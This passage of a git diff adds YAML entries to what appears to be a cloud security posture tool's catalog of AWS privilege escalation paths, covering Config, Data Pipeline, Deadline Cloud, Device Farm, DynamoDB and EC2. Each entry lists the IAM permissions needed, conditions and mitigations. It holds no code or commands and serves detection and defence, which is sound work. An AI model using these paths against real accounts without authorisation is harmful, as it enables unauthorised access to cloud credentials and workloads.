specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Config privilege escalation techniques. +# Source: hacktricks-cloud aws-config-privesc/README.md (rev 171e422299). + +- id: aws-config-passrole-automatic-remediation + provider: aws + service: config + title: Attach an automatic remediation that runs an Automation document as a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation + source_revision: 171e422299 + summary: The source can cause an automatic remediation on an existing AWS Config rule to run an Automation document with a passable role when that document performs a useful privileged action. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - config_automatic_remediation_effect_unverified + conditions: + - id: noncompliant_rule + description: An existing non-service-linked Config rule must have a noncompliant resource in its compliance snapshot, with the configuration recorder running. + - id: automatic_mode + description: Only Automatic=true remediation runs through AWSServiceRoleForConfigRemediation as the passed role and checks iam:PassRole; manual remediation runs as the initiating principal and gives nothing extra. The service-linked role must exist or the source needs iam:CreateServiceLinkedRole. + - id: document_reuse + description: The source may use an existing Automation document; ssm:CreateDocument is required only when the source creates a new one. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict config:PutRemediationConfigurations and iam:PassRole on Automation roles (iam:PassedToService=ssm.amazonaws.com) to compliance administrators, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/config/latest/developerguide/remediation.html + - https://docs.aws.amazon.com/config/latest/developerguide/setup-autoremediation.html + notes: Automatic remediation works even when the source is explicitly denied ssm:StartAutomationExecution. A concrete role path requires exact PutRemediationConfigurations authorization, the existing rule, a runnable document using AutomationAssumeRole with the passed role, and a fresh witnessed automatic remediation that performs a useful action. The classic config:PutRemediationConfigurations + iam:PassRole subsection is covered by this entry; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml new file mode 100644 index 0000000000..7698b51818 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Connect application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-connect-privesc/README.md (rev 171e422299). +# Connect instances, users and security profiles are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml new file mode 100644 index 0000000000..326a99fc78 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Control Tower privilege escalation techniques. +# Source: hacktricks-cloud aws-control-tower-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml new file mode 100644 index 0000000000..a494f02341 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml @@ -0,0 +1,47 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Data Pipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-datapipeline-privesc/README.md. + +- id: aws-datapipeline-passrole-create-activate + provider: aws + service: datapipeline + title: Create and activate a Data Pipeline with passed roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#iampassrole-datapipelinecreatepipeline-datapipelineputpipelinedefinition-datapipelineactivatepipeline + source_revision: 171e422299 + summary: The source can obtain the privileges of passable EC2 instance-profile roles used as the pipeline resource role by running commands it defines on pipeline-launched instances. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ec2.amazonaws.com + - action: datapipeline:CreatePipeline + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "EC2 instance-profile roles in {account} (Data Pipeline resource role)" + outcome: workload_execution + preconditions: + - datapipeline_existing_customer_role_pair_and_runnable_ec2 + conditions: + - id: passable_pipeline_role + description: iam:PassRole must also cover a separate pipeline role trusting datapipeline.amazonaws.com; PutPipelineDefinition and ActivatePipeline must be allowed on the generated pipeline ARN. + - id: service_availability + description: AWS Data Pipeline is closed to new customers (since July 2025); only accounts already using it can create pipelines. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole and Data Pipeline write actions; migrate off Data Pipeline. + references: + - https://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-iam-roles.html + notes: The pipeline role (datapipeline principal) itself can also be targeted if a pipeline activity runs with it, but code execution happens on the resource role; only the resource role is modelled. CreatePipeline uses Resource=*, while PutPipelineDefinition and ActivatePipeline use the generated pipeline ARN. A concrete EC2 resource-role edge needs existing-customer eligibility, both role passes, a controlled ShellCommandActivity on an Ec2Resource, an activated pipeline, and a fresh witnessed useful role action from the launched instance; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml new file mode 100644 index 0000000000..2546812435 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS DataSync privilege escalation techniques. +# Source: hacktricks-cloud aws-datasync-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: DataSync uses the +# location role only for S3 transfers; no STS credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml new file mode 100644 index 0000000000..dc2fd40548 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml @@ -0,0 +1,13 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon DataZone privilege escalation techniques. +# Source: hacktricks-cloud aws-datazone-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Custom AWS service environments carry an +# IAM role trusting datazone.amazonaws.com whose credentials DataZone vends to project members; the vended session only +# blocks role chaining. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml new file mode 100644 index 0000000000..c9927c9155 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml @@ -0,0 +1,178 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Deadline Cloud privilege escalation techniques. +# Source: hacktricks-cloud aws-deadline-cloud-privesc/README.md (rev 171e422299). +# Queue and fleet roles trust credentials.deadline.amazonaws.com. The existing-queue route +# uses collected queue-to-role bindings; new queue/fleet PassRole routes need separate joins. + +- id: aws-deadline-existing-queue-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing queue + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 5508b27049 + summary: The source can request credentials for the exact IAM role configured on a Deadline Cloud queue when its IAM policy allows AssumeQueueRoleForUser on that queue. + requires: + all_of: + - action: deadline:AssumeQueueRoleForUser + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Queue roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_queue_role_vend + conditions: + - id: queue_role_session + description: The configured role must still trust the Deadline credentials service for the exact farm, and the queue API must vend the credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit deadline:AssumeQueueRoleForUser to the queues a principal needs and keep queue roles narrow. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeQueueRoleForUser.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/permissions-overview.html + notes: The evaluator binds ListFarms, ListQueues and GetQueue to one farm, queue and role, checks the caller's IAM grant on the exact queue ARN, and evaluates the role's service trust with that farm ARN. It does not infer access from Deadline monitor membership or a Resource=* grant alone. + +- id: aws-deadline-existing-worker-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing worker's fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlineassumefleetroleforworker-on-an-existing-worker + source_revision: b9af68e3e9 + summary: The source can request credentials for the exact IAM role configured on an existing Deadline Cloud worker's fleet when IAM allows AssumeFleetRoleForWorker on that worker. + requires: + all_of: + - action: deadline:AssumeFleetRoleForWorker + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_worker_role_vend + conditions: + - id: worker_role_session + description: The fleet role must trust the Deadline credentials service for the farm and the worker credential API must accept the request. Additional unrelated role policies are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit AssumeFleetRoleForWorker to the worker hosts that need each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_ListWorkers.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The evaluator binds ListFarms, ListFleets, GetFleet and ListWorkers to one farm, fleet, worker and role; checks AssumeFleetRoleForWorker on the exact worker ARN and the target role's farm-scoped service trust. It does not infer unrelated permissions from the role's attached policies. + +- id: aws-deadline-new-worker-existing-fleet-role-vend + provider: aws + service: deadline + title: Obtain an existing fleet's role by registering a worker + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreateworker-and-deadlineassumefleetroleforworker-on-an-existing-fleet + source_revision: 7d5d4dc90f + summary: The source can register a worker on an existing customer-managed fleet and request its role credentials when the worker grants cover every generated worker ID and the worker-creation dependent permissions are present. + requires: + all_of: + - action: deadline:CreateWorker + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Existing fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_new_worker_role_vend + conditions: + - id: new_worker_role_session + description: The active customer-managed fleet must have capacity, the role must trust the Deadline credentials service for that farm, and the new worker credential request must succeed. Unrelated attached role permissions are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit worker creation and credential vending to the intended worker hosts for each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDeadlineCloud-WorkerHost.html + notes: The evaluator joins one existing fleet to its role, checks farm-scoped service trust and capacity, requires ListTagsForResource on the fleet, and checks broad CreateWorker, AssumeFleetRoleForWorker and TagResource grants covering the whole generated worker-ID family. It does not infer access from a grant on a chosen or existing worker ID. + +- id: aws-deadline-passrole-createqueue-updatequeue + provider: aws + service: deadline + title: Attach a passed role to a queue and vend its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatequeueupdatequeue--iampassrole--deadlineassumequeueroleforuser + source_revision: 171e422299 + summary: A caller able to change one existing queue's role, pass an eligible role to Deadline Cloud, and request that queue's credentials may receive the new queue-role credentials. Creating a queue needs separate proof of its generated queue identity. + requires: + all_of: + - action: iam:PassRole + any_of: + - - action: deadline:CreateQueue + - - action: deadline:UpdateQueue + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: "Queue roles reachable through Deadline Cloud in {account}" + outcome: credentials + preconditions: + - deadline_passrole_queue_role_vend + conditions: + - id: queue_role_session + description: The role update and credential request must succeed on the same queue; queue membership and live service state may still limit use. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Deadline Cloud roles with iam:PassedToService and specific role ARNs; limit queue creation and updates to farm administrators. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_UpdateQueue.html + notes: The evaluator joins an existing farm and queue to its exact ARN, checks UpdateQueue and AssumeQueueRoleForUser there, and PassRole to deadline.amazonaws.com on the target role. A queue already using that role belongs to the existing-queue route. CreateQueue remains unresolved because AWS generates its queue ID and the current inventory cannot bind that future queue to a later credential request. + +- id: aws-deadline-passrole-fleet-createworker + provider: aws + service: deadline + title: Obtain fleet worker credentials through a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: d4ab3fa4e4 + summary: A caller that configures a customer-managed fleet and receives its worker credentials may gain a specific Deadline worker operation it could not perform directly. Unrelated IAM permissions attached to the fleet role are not included. + requires: + all_of: + - action: iam:PassRole + - action: deadline:CreateWorker + source_kind: [aws_user, aws_role] + target: + kind: aws_verified_authority + selector: + aws_challenge_fact: aws-deadline-passrole-fleet-createworker + scope: same_account + aggregate_as: "Verified Deadline worker permissions in {account}" + outcome: bounded_authority + grants: ["One observed Deadline worker operation on the exact worker"] + preconditions: + - deadline_fleet_worker_bounded_authority_reviewed + conditions: + - id: exact_verified_worker_authority + description: Fresh reviewed evidence must bind the farm, fleet, worker, passed role, accepted configuration and registration, vended credentials, and a specific worker operation unavailable directly to the caller. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit fleet-role passing and worker registration or credential vending to the intended fleet administrators and worker hosts. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The target is only the observed new worker operation on the exact worker. Resource-scoped CreateFleet or UpdateFleet, CreateWorker, AssumeFleetRoleForWorker, dependent permissions and PassRole are checked against the same farm, fleet, worker and role from reviewed evidence. Missing or stale evidence stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml new file mode 100644 index 0000000000..0e2402af48 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Device Farm privilege escalation techniques. +# Source: hacktricks-cloud aws-device-farm-privesc/README.md (rev 171e422299). + +- id: aws-devicefarm-passrole-project-schedulerun + provider: aws + service: devicefarm + title: Run a custom test with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 171e422299 + summary: The source can create a web test package and custom test specification in an existing Device Farm project, then schedule them on a compatible pool with a passed execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: devicefarm.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: devicefarm.amazonaws.com + scope: same_account + aggregate_as: "Roles runnable through a compatible Device Farm project in {account}" + outcome: workload_execution + preconditions: + - devicefarm_existing_project_new_web_test_role + conditions: + - id: exact_project_and_pool + description: A collected existing project has a device pool with at least one web test compatible device, and the source can create uploads in that project and schedule runs on that project and pool. + - id: generated_upload_scope + description: ScheduleRun permission covers every generated package and test-spec upload ARN in the selected project; scoped or conditional grants that cannot be proved remain unresolved. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Device Farm execution roles with iam:PassedToService and specific role ARNs; limit run scheduling to CI. + references: + - https://docs.aws.amazon.com/devicefarm/latest/developerguide/custom-test-environments-iam-roles.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_GetDevicePoolCompatibility.html + notes: This route uses an existing project and a run-level executionRoleArn. Creating a new project, editing an existing test specification, and using a project-default role are distinct paths requiring their own joins. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml new file mode 100644 index 0000000000..5904512a1c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Data Lifecycle Manager privilege escalation techniques. +# Source: hacktricks-cloud aws-dlm-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml new file mode 100644 index 0000000000..cd22bd8ed8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Directory Service privilege escalation techniques. +# Source: hacktricks-cloud aws-directory-services-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml new file mode 100644 index 0000000000..39f8c06ec0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml @@ -0,0 +1,35 @@ +# Amazon DynamoDB table-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-dynamodb-privesc/README.md (rev fd9bf8863b). + +- id: aws-dynamodb-putresourcepolicy-self-getitem + provider: aws + service: dynamodb + title: Grant the caller permission to read items from a table + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one table policy can name itself and gain GetItem on that table. + source_kind: [aws_user] + requires: + all_of: + - action: dynamodb:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_dynamodb_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["dynamodb:GetItem on the exact reviewed table"] + aggregate_as: "DynamoDB GetItem self-grants in {account}" + conditions: + - id: table_policy_propagation + description: The new resource policy may take time to become effective; no item read is observed. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict dynamodb:PutResourcePolicy on sensitive tables and use explicit denies where a caller must never read items. + references: + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-auth-iam-id-based-policies-DDB.html + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html + - https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_PutResourcePolicy.html + notes: Only an exact collected active table using the default AWS-owned encryption and a same-account IAM user with effective PutResourcePolicy, no prior GetItem and no surviving identity, boundary or organization deny qualify. Replacing the table policy can remove an old table-policy Deny. A direct user grant bypasses a boundary's implicit deny; an explicit boundary Deny still blocks it. An existing account-root Allow only delegates to IAM and is not prior user access. Tables using AWS-managed or customer-managed KMS keys remain unresolved until key authorization is joined. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml new file mode 100644 index 0000000000..e64c256bb5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml @@ -0,0 +1,298 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 / Auto Scaling / EC2 Instance Connect privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-privesc/README.md. + +- id: aws-ec2-passrole-runinstances + provider: aws + service: ec2 + source_kind: [aws_user, aws_role] + title: Launch an EC2 instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. + # The native precondition checks every launch resource and PassRole on the exact role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - ec2_runinstances_instance_role_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict this. + - id: instance_access + description: The source needs a way to run code on the instance (user data, an SSH key pair, SSM); user data needs no extra permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService and specific role ARNs; require IMDSv2 and monitor RunInstances with instance profiles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html + notes: RunInstances authorizes every resource in one launch request, including the image, generated instance, subnet, security group, network interface and storage resources when applicable. A role edge needs the exact accepted launch request, a profile carrying the target role, observed execution of controlled user data and a useful role action unavailable directly to the source. Evaluate PassRole with both iam:PassedToService and iam:AssociatedResourceArn for the launched instance. Creating a new instance profile for a role without one additionally needs iam:CreateInstanceProfile and iam:AddRoleToInstanceProfile. + +- id: aws-ec2-passrole-associate-instance-profile + provider: aws + service: ec2 + title: Associate or replace the instance profile of an instance the source controls + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-with-ec2associateiaminstanceprofile-and-ec2disassociateiaminstanceprofile-or-ec2replaceiaminstanceprofileassociation + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ec2.amazonaws.com in existing instance profiles by attaching such a profile to an instance it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: ec2:AssociateIamInstanceProfile + resource: "*" + - action: ec2:DisassociateIamInstanceProfile + resource: "*" + - - action: ec2:ReplaceIamInstanceProfileAssociation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: controls_ec2_instance + description: The source must already control an EC2 instance; Disassociate is only needed when the instance already has a profile. + - id: replacement_requires_running_instance + description: Direct profile replacement requires a running instance; a stopped instance with a profile needs the detach-then-associate branch and permission to start it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict instance-profile association actions and iam:PassRole on EC2 roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/attach-iam-role.html + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permission-to-pass-iam-roles.html + notes: Exact instance control and access to its new role credentials require fresh reviewed evidence. + +- id: aws-ec2-requestspotinstances-passrole + provider: aws + service: ec2 + source_kind: [aws_user, aws_role] + title: Request a Spot Instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2requestspotinstances-iampassrole + source_revision: 171e422299 + summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. + # The native precondition checks every Spot request resource and PassRole on the exact role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - ec2_spot_request_instance_role_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService and iam:AssociatedResourceArn may restrict which role can be passed to the launched instance. + - id: spot_service_linked_role + description: The first Spot request in an account also needs iam:CreateServiceLinkedRole for spot.amazonaws.com when AWSServiceRoleForEC2Spot does not exist yet; ec2:CreateFleet / RequestSpotFleet are not a bypass because the fleet authorizes ec2:RunInstances as the caller. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService, and restrict ec2:RequestSpotInstances. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html + notes: RequestSpotInstances authorizes the selected image, generated Spot request and launch resources, with iam:PassRole on the instance role; ec2:RunInstances is a separate API. A role edge needs one accepted request, a launched member instance with the target profile, executed controlled user data and a useful role action unavailable directly to the source. PassRole is evaluated with the exact instance as iam:AssociatedResourceArn. Caller grants alone leave the route unresolved. + +- id: aws-ec2-modifyinstanceattribute-userdata + provider: aws + service: ec2 + title: Replace the user data of an existing instance and restart it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-user-data + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an existing instance by changing its user data and restarting it. + requires: + all_of: + - action: ec2:ModifyInstanceAttribute + resource: "{target.attached_resource_arn}" + - action: ec2:StartInstances + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2:ModifyInstanceAttribute + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2:ModifyInstanceAttribute in {account}" + outcome: workload_execution + preconditions: + - ec2_userdata_restart_execution_reviewed + conditions: + - id: userdata_execution + description: The exact instance must be known to execute changed user data on its next start and make its role credentials available to that code. A running instance also needs StopInstances and disabled API stop protection. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2:ModifyInstanceAttribute and stop/start permissions on instances with privileged roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html + notes: No principal edge is emitted from these IAM grants alone. Fresh reviewed evidence must bind changed-user-data execution, instance-profile membership, role credential access and stop protection to the same instance; missing evidence remains unresolved. The security-group replacement variant is excluded. + +- id: aws-ec2-launchtemplate-version-asg + provider: aws + service: ec2 + title: Publish a new default launch-template version consumed by an Auto Scaling group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2createlaunchtemplateversion-ec2createlaunchtemplate-ec2modifylaunchtemplate + source_revision: 171e422299 + summary: The source can place an EC2 instance-profile role in a new launch-template version that an Auto Scaling group may use on its next launch. + requires: + all_of: + - action: ec2:CreateLaunchTemplateVersion + resource: "{target.consumer_input_arn}" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + conditions: + - id: asg_uses_unpinned_version + description: A recorded Auto Scaling group must reference this template with $Latest, or with $Default when the source can also modify that template. + - id: delayed_launch + description: A new instance must launch (scale-out, replacement, instance refresh); the source may not control timing. + - id: slr_passrole + description: A later Auto Scaling launch uses its service-linked role to pass the selected EC2 instance-profile role; changing a version does not require the source to hold iam:PassRole. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin Auto Scaling groups to specific launch-template versions and restrict template version management. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permissions-for-launch-templates.html + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + notes: 